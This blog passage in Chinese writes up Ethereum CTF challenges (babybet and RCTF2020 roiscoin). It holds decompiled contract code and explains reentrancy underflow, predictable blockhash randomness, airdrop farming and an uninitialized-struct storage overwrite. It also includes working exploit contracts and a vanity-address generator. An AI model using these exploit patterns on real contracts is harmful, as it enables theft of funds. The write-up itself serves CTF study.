                    var8 = memory[temp8:temp8 + 0x20];
                    var7 = temp8 + 0x20;
                    var9 = var8;
                    var10 = var6;
                    var11 = var7;
                    var12 = 0x00;
                
                    if (var12 >= var9) {
                    label_041C:
                        var temp9 = var8;
                        var6 = temp9 + var6;
                        var7 = temp9 & 0x1f;
                    
                        if (!var7) {
                            var temp10 = memory[0x40:0x60];
                            log(memory[temp10:temp10 + var6 - temp10], [stack[-8]]);
                            return;
                        } else {
                            var temp11 = var7;
                            var temp12 = var6 - temp11;
                            memory[temp12:temp12 + 0x20] = ~(0x0100 ** (0x20 - temp11) - 0x01) & memory[temp12:temp12 + 0x20];
                            var temp13 = memory[0x40:0x60];
                            log(memory[temp13:temp13 + (temp12 + 0x20) - temp13], [stack[-8]]);
                            return;
                        }
                    } else {
                    label_040D:
                        var temp14 = var12;
                        memory[temp14 + var10:temp14 + var10 + 0x20] = memory[temp14 + var11:temp14 + var11 + 0x20];
                        var12 = temp14 + 0x20;
                    
                        if (var12 >= var9) { goto label_041C; }
                        else { goto label_040D; }
                    }
                } else {
                    var temp15 = var7;
                    var temp16 = var6 - temp15;
                    memory[temp16:temp16 + 0x20] = ~(0x0100 ** (0x20 - temp15) - 0x01) & memory[temp16:temp16 + 0x20];
                    var temp17 = temp16 + 0x20;
                    memory[var5:var5 + 0x20] = temp17 - var3;
                    var temp18 = var2;
                    memory[temp17:temp17 + 0x20] = memory[temp18:temp18 + 0x20];
                    var6 = temp17 + 0x20;
                    var8 = memory[temp18:temp18 + 0x20];
                    var7 = temp18 + 0x20;
                    var9 = var8;
                    var10 = var6;
                    var11 = var7;
                    var12 = 0x00;
                
                    if (var12 >= var9) { goto label_041C; }
                    else { goto label_040D; }
                }
            } else {
            label_03AD:
                var temp19 = var12;
                memory[temp19 + var10:temp19 + var10 + 0x20] = memory[temp19 + var11:temp19 + var11 + 0x20];
                var12 = temp19 + 0x20;
            
                if (var12 >= var9) { goto label_03BC; }
                else { goto label_03AD; }
            }
        } else {
            var temp20 = returndata.length;
            memory[0x00:0x00 + temp20] = returndata[0x00:0x00 + temp20];
            revert(memory[0x00:0x00 + returndata.length]);
        }
    }
    
    function func_045C(var arg0) {

if (msg.sender != storage[0x02] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }
//msg.sender == storage[2] 那么 storage[3]=arg0;    
        storage[0x03] = arg0;
    }
    
    function guess(var arg0) {
        if (arg0 != storage[0x03]) { revert(memory[0x00:0x00]); }
    //arg0!=storage[3]  
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x01;
    //storage[msg.sender[1]]==1 
        if (storage[keccak256(memory[0x00:0x40])] != 0x01) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        // storage[msg.sender[0]]+=1;
        var temp0 = keccak256(memory[0x00:0x40]);
        storage[temp0] = storage[temp0] + 0x01;
        memory[0x20:0x40] = 0x01;
        //storage[msg.sender[1]]+=1;
        var temp1 = keccak256(memory[0x00:0x40]);
        storage[temp1] = storage[temp1] + 0x01;
    }
    
    function transfer(var arg0, var arg1) {
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
    
        if (arg1 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
   //storage[msg.sender[0]]>=2    
        if (arg1 != 0x02) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x01;
    
        if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); }
    //storage[msg.sender[1]]==2
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        storage[keccak256(memory[0x00:0x40])] = 0x00;
    //storage[msg.sender[0]]=0
        memory[0x00:0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
        storage[keccak256(memory[0x00:0x40])] = arg1;
    //storage[arg0[0]]=arg1;
    }
    
    function level(var arg0) returns (var arg0) {
        memory[0x20:0x40] = 0x01;
        memory[0x00:0x20] = arg0;
        return storage[keccak256(memory[0x00:0x40])];
        //返回 storage[arg0[1]]  
    }
    
    function balance(var arg0) returns (var arg0) {
        memory[0x20:0x40] = 0x00;
        memory[0x00:0x20] = arg0;
        return storage[keccak256(memory[0x00:0x40])];
        //storage[arg0[0]]
    }
}

已经全都加过注释了。今天是纯自己分析一遍得到的,十分有收获。确实去年和今年题目的难度都是两种。。。233333

主要通过3个重要函数进行payforflag()

我们从而得知payforflag()条件就是 storage[msg.sender[0]]>10000000000

利用guess 猜数字,如果和storage[3]相等,且storage[msg.sender[1]]==1 的时候, storage[msg.sender[0]]+=1,storage[msg.sender[1]]+=1.

profit() , 要求 storage[msg.sender[1]]==0 之后 还要求账户末尾为b1b1 ,这个功能之前已经说过了。今天又看到了一个可以生成的在线网站 ,十分牛逼。https://vanity-eth.tk/

然后就可以使得storage[msg.sender[0]]+=1, storage[msg.sender[1]]+=1

withdraw () 这里限制了 storage[msg.sender[0]]>=2 然后他进行了 msg.call() 这里可以进行重入。 然后看下面, storage[msg.sender[0]]-=2 , 那么自然而然想到了payforflag()的条件。 所以我们可以想到使用这里来实现重入下溢, 从而得到payforflag()的条件。

那么就很显然了。

不过这个题在比赛时据说有坑。是因为出题人没有给原合约 币,所以就算你打通了也不会给你发flag, 所以我们需要先 创立个有币的合约来selfdestruct() 给这个合约。然后再用exp合约来攻击

调用顺序就是

profit() - > guess() -> 重入2次的withdraw()

因为2-2=0 , 0-2 = 2**256 -1 -2 溢出。 从而达到了payforflag的效果。


强网杯区块链题目--Babybet深入分析

这道题相比上一题代码量还是差不多的,主要是攻击模式的改变。

contract Contract {
    function main() {
        memory[0x40:0x60] = 0x80;
    
        if (msg.data.length < 0x04) {
        label_0077:
            memory[0x00:0x20] = msg.sender;
            memory[0x20:0x40] = 0x00;
            var temp0 = keccak256(memory[0x00:0x40]);
            storage[temp0] = msg.value / 0x0de0b6b3a7640000 + storage[temp0];
            stop();
        } else {
            var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;
        
            if (var0 == 0x645b8b1b) {
                // Dispatch table entry for status(address)
                var var1 = msg.value;
            
                if (var1) { revert(memory[0x00:0x00]); }
            
                var1 = 0x00c6;
                var var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
                var2 = status(var2);
            
            label_00C6:
                var temp1 = memory[0x40:0x60];
                memory[temp1:temp1 + 0x20] = var2;
                var temp2 = memory[0x40:0x60];
                return memory[temp2:temp2 + temp1 - temp2 + 0x20];
            } else if (var0 == 0x66d16cc3) {
                // Dispatch table entry for profit()
                var1 = msg.value;
            
                if (var1) { revert(memory[0x00:0x00]); }
            
                var1 = 0x00ed;
                profit();
                stop();
            } else if (var0 == 0x7365870b) {
                // Dispatch table entry for bet(uint256)
                var1 = msg.value;
            
                if (var1) { revert(memory[0x00:0x00]); }
            
                var1 = 0x00ed;
                var2 = msg.data[0x04:0x24];
                bet(var2);
                stop();
            } else if (var0 == 0x8c0320de) {
                // Dispatch table entry for payforflag(string,string)
                var1 = msg.value;
            
                if (var1) { revert(memory[0x00:0x00]); }
            
                var temp3 = memory[0x40:0x60];
                var temp4 = msg.data[0x04:0x24];
                var temp5 = msg.data[temp4 + 0x04:temp4 + 0x04 + 0x20];
                memory[0x40:0x60] = temp3 + (temp5 + 0x1f) / 0x20 * 0x20 + 0x20;
                memory[temp3:temp3 + 0x20] = temp5;
                var1 = 0x00ed;
                memory[temp3 + 0x20:temp3 + 0x20 + temp5] = msg.data[temp4 + 0x24:temp4 + 0x24 + temp5];
                var temp6 = memory[0x40:0x60];
                var temp7 = msg.data[0x24:0x44] + 0x04;
                var temp8 = msg.data[temp7:temp7 + 0x20];
                memory[0x40:0x60] = temp6 + (temp8 + 0x1f) / 0x20 * 0x20 + 0x20;
                memory[temp6:temp6 + 0x20] = temp8;
                var2 = temp3;
                memory[temp6 + 0x20:temp6 + 0x20 + temp8] = msg.data[temp7 + 0x20:temp7 + 0x20 + temp8];
                var var3 = temp6;
                payforflag(var2, var3);
                stop();
            } else if (var0 == 0xe3d670d7) {
                // Dispatch table entry for balance(address)
                var1 = msg.value;
            
                if (var1) { revert(memory[0x00:0x00]); }
            
                var1 = 0x00c6;
                var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
                var2 = balance(var2);
                goto label_00C6;
            } else if (var0 == 0xf0d25268) {
                // Dispatch table entry for 0xf0d25268 (unknown)
                var1 = msg.value;
            
                if (var1) { revert(memory[0x00:0x00]); }
            
                var1 = 0x00ed;
                var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
                var3 = msg.data[0x24:0x44];
                func_048F(var2, var3);
                stop();
            } else { goto label_0077; }
        }
    }
    
    function status(var arg0) returns (var arg0) {
        memory[0x20:0x40] = 0x01;
        memory[0x00:0x20] = arg0;
        return storage[keccak256(memory[0x00:0x40])];
        // storage[arg0[1]] 
    }
    
    function profit() {
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x01;
    
        if (storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
    // storage[msg.sender[1]]==0
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        var temp0 = keccak256(memory[0x00:0x40]);
        storage[temp0] = storage[temp0] + 0x0a;
        // storage[msg.sender[0]]+=10
        memory[0x20:0x40] = 0x01;
        storage[keccak256(memory[0x00:0x40])] = 0x01;
        //storage[msg.sender[1]]=1
    }
    
    function bet(var arg0) {
        var var0 = 0x00;
        memory[var0:var0 + 0x20] = msg.sender;
        memory[0x20:0x40] = var0;
        var var1 = var0;
    
        if (0x0a > storage[keccak256(memory[var1:var1 + 0x40])]) { revert(memory[0x00:0x00]); }
    //storage[msg.sender[var0]]>=10
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x01;
    
        if (0x02 <= storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
    //storage[msg.sender[1]]<2
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        var temp0 = keccak256(memory[0x00:0x40]);
        storage[temp0] = storage[temp0] + ~0x09;
        // storage[msg.sender[0]]-=10   
        var0 = block.blockHash(block.number + ~0x00);
        // block.blockHash (block.number-1)
        var1 = var0 % 0x03;
    //block.blockHash (block.number-1)%3
        if (var1 != arg0) {
            memory[0x00:0x20] = msg.sender;
            memory[0x20:0x40] = 0x01;
            storage[keccak256(memory[0x00:0x40])] = 0x02;
            // 若 var1!= var0  strorage[msg.sender[1]]=2
            return;
        } else {
            memory[0x00:0x20] = msg.sender;
            memory[0x20:0x40] = 0x00;
            var temp1 = keccak256(memory[0x00:0x40]);
            storage[temp1] = storage[temp1] + 0x03e8;
            // storage[msg.sender[0]]+=1000 
            memory[0x00:0x20] = msg.sender;
            memory[0x20:0x40] = 0x01;
            storage[keccak256(memory[0x00:0x40])] = 0x02;
            // storage[msg.sender[1]]=2
            return;
        }
    }
    
    function payforflag(var arg0, var arg1) {
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
    
        if (0x0f4240 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
    // storage[msg.sender[0]]>=1000000
        if (msg.sender == storage[0x02] & 0xffffffffffffffffffffffffffffffffffffffff) {
        	// msg.sender== storage[2]
            var temp0 = memory[0x40:0x60];
            var temp1 = address(address(this)).balance;
            var temp2;
            temp2, memory[temp0:temp0 + 0x00] = address(storage[0x02] & 0xffffffffffffffffffffffffffffffffffffffff).call.gas(!temp1 * 0x08fc).value(temp1)(memory[temp0:temp0 + 0x00]);
            var var0 = !temp2;
        
            if (!var0) {
            label_0378:
                var0 = 0x6335b7f9c4dff99c3a870eaf18b802774df3aba4e21b72549f3a03b6bc974c90;
                var temp3 = arg0;
                var var1 = temp3;
                var var2 = arg1;
                var temp4 = memory[0x40:0x60];
                var var3 = temp4;
                var var4 = var3;
                var var5 = var4 + 0x20;
                var temp5 = var5 + 0x20;
                memory[var4:var4 + 0x20] = temp5 - var4;
                memory[temp5:temp5 + 0x20] = memory[var1:var1 + 0x20];
                var var6 = temp5 + 0x20;
                var var7 = var1 + 0x20;
                var var8 = memory[var1:var1 + 0x20];
                var var9 = var8;
                var var10 = var6;
                var var11 = var7;
                var var12 = 0x00;
            
                if (var12 >= var9) {
                label_03DD:
                    var temp6 = var8;
                    var6 = temp6 + var6;
                    var7 = temp6 & 0x1f;
                
                    if (!var7) {
                        var temp7 = var6;
                        memory[var5:var5 + 0x20] = temp7 - var3;
                        var temp8 = var2;
                        memory[temp7:temp7 + 0x20] = memory[temp8:temp8 + 0x20];
                        var6 = temp7 + 0x20;
                        var7 = temp8 + 0x20;
                        var8 = memory[temp8:temp8 + 0x20];
                        var9 = var8;
                        var10 = var6;
                        var11 = var7;
                        var12 = 0x00;
                    
                        if (var12 >= var9) {
                        label_043D:
                            var temp9 = var8;
                            var6 = temp9 + var6;
                            var7 = temp9 & 0x1f;
                        
                            if (!var7) {
                                var temp10 = memory[0x40:0x60];
                                log(memory[temp10:temp10 + var6 - temp10], [stack[-8]]);
                                return;
                            } else {
                                var temp11 = var7;
                                var temp12 = var6 - temp11;
                                memory[temp12:temp12 + 0x20] = ~(0x0100 ** (0x20 - temp11) - 0x01) & memory[temp12:temp12 + 0x20];
                                var temp13 = memory[0x40:0x60];
                                log(memory[temp13:temp13 + (temp12 + 0x20) - temp13], [stack[-8]]);
                                return;
                            }
                        } else {
                        label_042E:
                            var temp14 = var12;
                            memory[temp14 + var10:temp14 + var10 + 0x20] = memory[temp14 + var11:temp14 + var11 + 0x20];
                            var12 = temp14 + 0x20;
                        
                            if (var12 >= var9) { goto label_043D; }
                            else { goto label_042E; }
                        }
                    } else {
                        var temp15 = var7;
                        var temp16 = var6 - temp15;
                        memory[temp16:temp16 + 0x20] = ~(0x0100 ** (0x20 - temp15) - 0x01) & memory[temp16:temp16 + 0x20];
                        var temp17 = temp16 + 0x20;
                        memory[var5:var5 + 0x20] = temp17 - var3;
                        var temp18 = var2;
                        memory[temp17:temp17 + 0x20] = memory[temp18:temp18 + 0x20];
                        var6 = temp17 + 0x20;
                        var7 = temp18 + 0x20;
                        var8 = memory[temp18:temp18 + 0x20];
                        var9 = var8;
                        var10 = var6;
                        var11 = var7;
                        var12 = 0x00;
                    
                        if (var12 >= var9) { goto label_043D; }
                        else { goto label_042E; }
                    }
                } else {
                label_03CE:
                    var temp19 = var12;
                    memory[temp19 + var10:temp19 + var10 + 0x20] = memory[temp19 + var11:temp19 + var11 + 0x20];
                    var12 = temp19 + 0x20;
                
                    if (var12 >= var9) { goto label_03DD; }
                    else { goto label_03CE; }
                }
            } else {
            label_036F:
                var temp20 = returndata.length;
                memory[0x00:0x00 + temp20] = returndata[0x00:0x00 + temp20];
                revert(memory[0x00:0x00 + returndata.length]);
            }
        } else {
            memory[0x00:0x20] = msg.sender;
            memory[0x20:0x40] = 0x00;
            storage[keccak256(memory[0x00:0x40])] = 0x00;
            var temp21 = memory[0x40:0x60];
            var temp22 = address(address(this)).balance;
            var temp23;
            temp23, memory[temp21:temp21 + 0x00] = address(storage[0x02] & 0xffffffffffffffffffffffffffffffffffffffff).call.gas(!temp22 * 0x08fc).value(temp22)(memory[temp21:temp21 + 0x00]);
            var0 = !temp23;
        
            if (!var0) { goto label_0378; }
            else { goto label_036F; }
        }
    }
    
    function balance(var arg0) returns (var arg0) {
        memory[0x20:0x40] = 0x00;
        memory[0x00:0x20] = arg0;
        return storage[keccak256(memory[0x00:0x40])];
    }
    
    function func_048F(var arg0, var arg1) {
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
    
        if (arg1 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
    // storage[msg.sender[0]]>=arg1
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        var temp0 = keccak256(memory[0x00:0x40]);
        var temp1 = arg1;
        storage[temp0] = storage[temp0] - temp1;
        // storage[msg.sender[0]]-=arg1
        memory[0x00:0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
        var temp2 = keccak256(memory[0x00:0x40]);
        storage[temp2] = temp1 + storage[temp2];
        //storage[arg0[0]]+=arg1
    }
}

还是做完了注释。分析几个重要部分

领空投,之后会被加一个状态就不能再领了。

bet 赌博,首先你要有钱>=10 ,然后你要传入一个arg0 需要和他的相等,。

bytes32 guess = block.blockhash(block.number - 0x01);
        uint guess1 = uint(guess) % 0x03;

随机数表示如上。

我们知道,区块链中如果不调用第三方库那么便不会存在真正的随机数,此合约的随机数便可以被预测。

即我们可以使用如下函数来达到与合约相同的随机数预测:

bytes32 guess = block.blockhash(block.number - 0x01);
        uint guess1 = uint(guess) % 0x03;

就是一模一样往上写就可以了。

然后赌赢了拿1000被赋值个状态,没赢 就被搞了个状态上去。

payforflag 要求一个账户有钱,而且>100000

转账函数就是。

那我们就考虑薅羊毛来实现

1000次1000然后都转到一个人名下就可以了。

拿先知上的代码了。

pragma solidity ^0.4.23;

contract babybet {
    mapping(address => uint) public balance;
    mapping(address => uint) public status;
    address owner;

    //Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
    //Gmail is ok. 163 and qq may have some problems.
    event sendflag(string md5ofteamtoken,string b64email); 

    constructor()public{
        owner = msg.sender;
        balance[msg.sender]=1000000;
    }

    function balance(address a) returns (uint b) {

    }

    //pay for flag
    function payforflag(string md5ofteamtoken,string b64email) public{
        require(balance[msg.sender] >= 1000000);
        if (msg.sender!=owner){
        balance[msg.sender]=0;}
        owner.transfer(address(this).balance);
        emit sendflag(md5ofteamtoken,b64email);
    }
    function profit() {}

    modifier onlyOwner(){
        require(msg.sender == owner);
        _;
    }
    function bet(uint num) {}
}

contract midContract {
    babybet target = babybet(0x5d1BeEFD4dE611caFf204e1A318039324575599A);

    function process() public {
        target.profit();
        bytes32 guess = block.blockhash(block.number - 0x01);
        uint guess1 = uint(guess) % 0x03;
        target.bet(guess1);

    }
        function transfer(address a, uint b) public{
        // target.func_048F(a,b);
        bytes4 method = 0xf0d25268;
        target.call(method,a,b);
        selfdestruct();
    }
}

contract hack {
    // babybet target; = babybet(0x5d1BeEFD4dE611caFf204e1A318039324575599A);


function ffff() public {
     for(int i=0;i<=1000;i++){
            midContract mid = new midContract();
            mid.process();
            mid.transfer("0x9b9a3xxxxxxxxxxxxxxxxxxxx",1000);
        }
}

}

RCTF2020 roiscoin(From pikachu's blog)

pragma solidity ^0.4.23;

contract FakeOwnerGame {
    event SendFlag(address _addr);
    
    uint randomNumber = 0;
    uint time = now;
    mapping (address => uint) public BalanceOf;
    mapping (address => uint) public WinCount;
    mapping (address => uint) public FailCount;
    bytes32[] public codex;
    address private owner;
    uint256 settlementBlockNumber;
    address guesser;
    uint8 guess;
    
    struct FailedLog {
        uint failtag;
        uint failtime;
        uint success_count;
        address origin;
        uint fail_count;
        bytes12 hash;
        address msgsender;
    }
    mapping(address => FailedLog[]) FailedLogs;
    
    constructor() {
        owner = msg.sender;
    }
    
    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }
    
    function payforflag() onlyOwner {
        require(BalanceOf[msg.sender] >= 2000);
        emit SendFlag(msg.sender);
        selfdestruct(msg.sender);
    }
    
    function lockInGuess(uint8 n) public payable {
        require(guesser == 0);
        require(msg.value == 1 ether);

        guesser = msg.sender;
        guess = n;
        settlementBlockNumber = block.number + 1;
    }
    
    function settle() public {
        require(msg.sender == guesser);
        require(block.number > settlementBlockNumber);

        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2;

        if (guess == answer) {
            WinCount[msg.sender] += 1;
            BalanceOf[msg.sender] += 1000;
        } else {
            FailCount[msg.sender] += 1;
        }
        
        if (WinCount[msg.sender] == 2) {
            if (WinCount[msg.sender] + FailCount[msg.sender] <= 2) {
                guesser = 0;
                WinCount[msg.sender] = 0;
                FailCount[msg.sender] = 0;
                msg.sender.transfer(address(this).balance);
            } else {
                FailedLog failedlog;
                failedlog.failtag = 1;
                failedlog.failtime = now;
                failedlog.success_count = WinCount[msg.sender];
                failedlog.origin = tx.origin;
                failedlog.fail_count = FailCount[msg.sender];
                failedlog.hash = bytes12(sha3(WinCount[msg.sender] + FailCount[msg.sender]));
                failedlog.msgsender = msg.sender;
                FailedLogs[msg.sender].push(failedlog);
            }
        }
    }

    function beOwner() payable {
        require(address(this).balance > 0);
        if(msg.value >= address(this).balance){
            owner = msg.sender;
        }
    }
    
    function revise(uint idx, bytes32 tmp) {
        codex[idx] = tmp;
    }
}

给了一发源码我直接爱了。

直接看Payforflag() 要求是balanceof[msg.sender]>=2000

然后看如何才能+ balanceof

发现settle()中可以实现,这里有一个guess == answer answer=keccak(256(block)) %2;

这里我们可以拿两次钱。也就是又是预测随机数。

未初始化的结构体Storage 覆盖问题, settle中的failedlog 未初始化造成storage 变量覆盖从而覆写 codex的数组长度。

数组任意写,数组长度更改之后,覆盖owner,这对长度有一定的要求。这里是用msg.owner 覆盖数组的高20字节。

这里遇到了一个对我来说新的漏洞。变量覆盖。首先我们想进行owner=msg.sender.那么这里可控得函数,只有一个revise ,还有一个beOwner。但是这个是非预期打得,非预期讲完整解之后再讲。

那么我们就考虑这个codex[] 他的长度codex.length在storage[5] 他的计算是从

keccak256(5)+var0 一直var0可控。 如果我们在这里 x=keccak256(5) 那么传入

2^256+6-x 我们就可以任意写storage[6] 也就是owner 。这一段如果不太理解最好是对着反汇编看。因为这里源代码反而没有那么直观。

写完storage[6]后,只需要满足猜两次就够了。

他用的是未来随机数,不过他就需要猜对2次,就蒙就可以了。

我这里直接借用pikachu师傅的 wp了。

部署 hack 合约,这里需要注意:

  • 数组在 storage5 位置, keccak256(bytes32(5)) = 0x036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db0
  • 当我们修改 codex[y],(y=2^256-x+6) 时就能修改 slot 6 ,从而修改 owner , 其中 x = keccak256(bytes32(5))
  • 计算出 y = 114245411204874937970903528273105092893277201882823832116766311725579567940182 , 即 y = 0xfc949c7b4a13586e39d89eead2f38644f9fb3efb5a0490b14f8fc0ceab44c256
  • 所以数组的长度 codex.length> y , 由于 msg.sender 覆盖数组长度的高 20 字节,所以其实是变相要求 address(msg.sender) > y , 我们可以生成以 0xfd0xfe0xff 开头的地址即可简单满足这一点

这里的最后一点是防越界所设置的。不过我们只需要把codex.length写的较大就可以满足了。

解题步骤

  • 调用 hack1
  • 调用 hack2 一次,这一次需要满足 result = 1 ,否则继续调用 hack2 ,直至这一次成功
  • 调用 hack3 两次,这两次需要满足 result = 0 ,否则继续调用 hack3 ,直至两次为止
  • 调用 hack4 修改 owner ,这里有个坑点,题目给的合约不是真正的合约,因为调用 hack4 总是不能成功修改 owner , 逆向合约,可以看出 revise 函数有问题,额外要求 msg.sender 最低位字节是 0x61 ,所以对 msg.sender 总共有两点要求: 大于 y 并且最低字节是 0x61
  • 调用 hack5

调用Hack2 是为了覆写我们的storage[5] 也就是codex.length.

hack3 两次是为了才对两次

hack4 是用来任意写storage[6]

最后调用hack5拿Flag。

坑点在反汇编中就可以看出来十分牛逼。

pragma solidity ^0.4.23;

contract FakeOwnerGame {
    event SendFlag(address _addr);

    uint randomNumber = 0;
    uint time = now;
    mapping (address => uint) public BalanceOf;
    mapping (address => uint) public WinCount;
    mapping (address => uint) public FailCount;
    bytes32[] public codex;
    address private owner;
    uint256 settlementBlockNumber;
    address guesser;
    uint8 guess;

    struct FailedLog {
        uint failtag;
        uint failtime;
        uint success_count;
        address origin;
        uint fail_count;
        bytes12 hash;
        address msgsender;
    }
    mapping(address => FailedLog[]) FailedLogs;

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }

    function payforflag() onlyOwner {
        require(BalanceOf[msg.sender] >= 2000);
        emit SendFlag(msg.sender);
        selfdestruct(msg.sender);
    }

    function lockInGuess(uint8 n) public payable {
        require(guesser == 0);
        require(msg.value == 1 ether);

        guesser = msg.sender;
        guess = n;
        settlementBlockNumber = block.number + 1;
    }

    function settle() public {
        require(msg.sender == guesser);
        require(block.number > settlementBlockNumber);

        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2;

        if (guess == answer) {
            WinCount[msg.sender] += 1;
            BalanceOf[msg.sender] += 1000;
        } else {
            FailCount[msg.sender] += 1;
        }

        if (WinCount[msg.sender] == 2) {
            if (WinCount[msg.sender] + FailCount[msg.sender] <= 2) {
                guesser = 0;
                WinCount[msg.sender] = 0;
                FailCount[msg.sender] = 0;
                msg.sender.transfer(address(this).balance);
            } else {
                FailedLog failedlog;
                failedlog.failtag = 1;
                failedlog.failtime = now;
                failedlog.success_count = WinCount[msg.sender];
                failedlog.origin = tx.origin;
                failedlog.fail_count = FailCount[msg.sender];
                failedlog.hash = bytes12(sha3(WinCount[msg.sender] + FailCount[msg.sender]));
                failedlog.msgsender = msg.sender;
                FailedLogs[msg.sender].push(failedlog);
            }
        }
    }

    function beOwner() payable {
        require(address(this).balance > 0);
        if(msg.value >= address(this).balance){
            owner = msg.sender;
        }
    }

    function revise(uint idx, bytes32 tmp) {
        if(uint(msg.sender) & 0x61 == 0x61 && tx.origin != msg.sender) {
            codex[idx] = tmp;
        }
    }

    function read_slot(uint k) public view returns (bytes32 res) {
        assembly { res := sload(k) }
    }

    function cal_addr(uint p) public pure returns(bytes32 res) {
        res = keccak256(abi.encodePacked(p));
    }
}

contract hack {
    uint public result;
    address instance_address = 0x7be4ae576495b00d23082575c17a354dd1d9e429 ;
    FakeOwnerGame target = FakeOwnerGame(instance_address);
    
    constructor() payable{}
    
    // 随机猜一个数0或1
    function hack1() {
        target.lockInGuess.value(1 ether)(0);
    }
    
    // 这里先让result=1,即先猜失败
    function hack2() {
        result = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2;
        if (result == 1) {
            target.settle();
        }
    }
    
    // 这里让result=0,即猜测成功,连续调用两次
    function hack3() {
        result = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2;
        if (result == 0) {
            target.settle();
        }
    }
    
    // 修改owner
    function hack4() {
        target.revise(114245411204874937970903528273105092893277201882823832116766311725579567940182,bytes32(address(this)));
    }
    
    function hack5() {
        target.payforflag();
    }
}

生成固定格式的账号。

from ethereum import utils
import os, sys

# generate EOA with appendix 1b1b
def generate_eoa1():
    priv = utils.sha3(os.urandom(4096))
    addr = utils.checksum_encode(utils.privtoaddr(priv))

    while not addr.lower().endswith("1b1b"):
        priv = utils.sha3(os.urandom(4096))
        addr = utils.checksum_encode(utils.privtoaddr(priv))

    print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))


# generate EOA with the ability to deploy contract with appendix 1b1b
def generate_eoa2():
    priv = utils.sha3(os.urandom(4096))
    addr = utils.checksum_encode(utils.privtoaddr(priv))

    while not (utils.decode_addr(utils.mk_contract_address(addr, 0)).endswith("61") and utils.decode_addr(utils.mk_contract_address(addr, 0)).startswith("fd")):
        priv = utils.sha3(os.urandom(4096))
        addr = utils.checksum_encode(utils.privtoaddr(priv))


    print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))


if __name__  == "__main__":
    if sys.argv[1] == "1":
        generate_eoa1()
    elif sys.argv[1] == "2":
        generate_eoa2()
    else:
        print("Please enter valid argument")

PS:十分感谢Sissel大哥,才能比较好的理解这题(x

非预期是因为beOwner 中的this.balance计算的时候,会加入你msg.value 。

之后后面的判断也是 this.balance==msg.value 所以只要满足msg.value>0就可以成功拿到owner ,然后猜数字也没有限制3次,就可以成功拿到flag了。

也十分感谢Sissel哥给我解释了一波this.balance计算方式

推荐文章

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注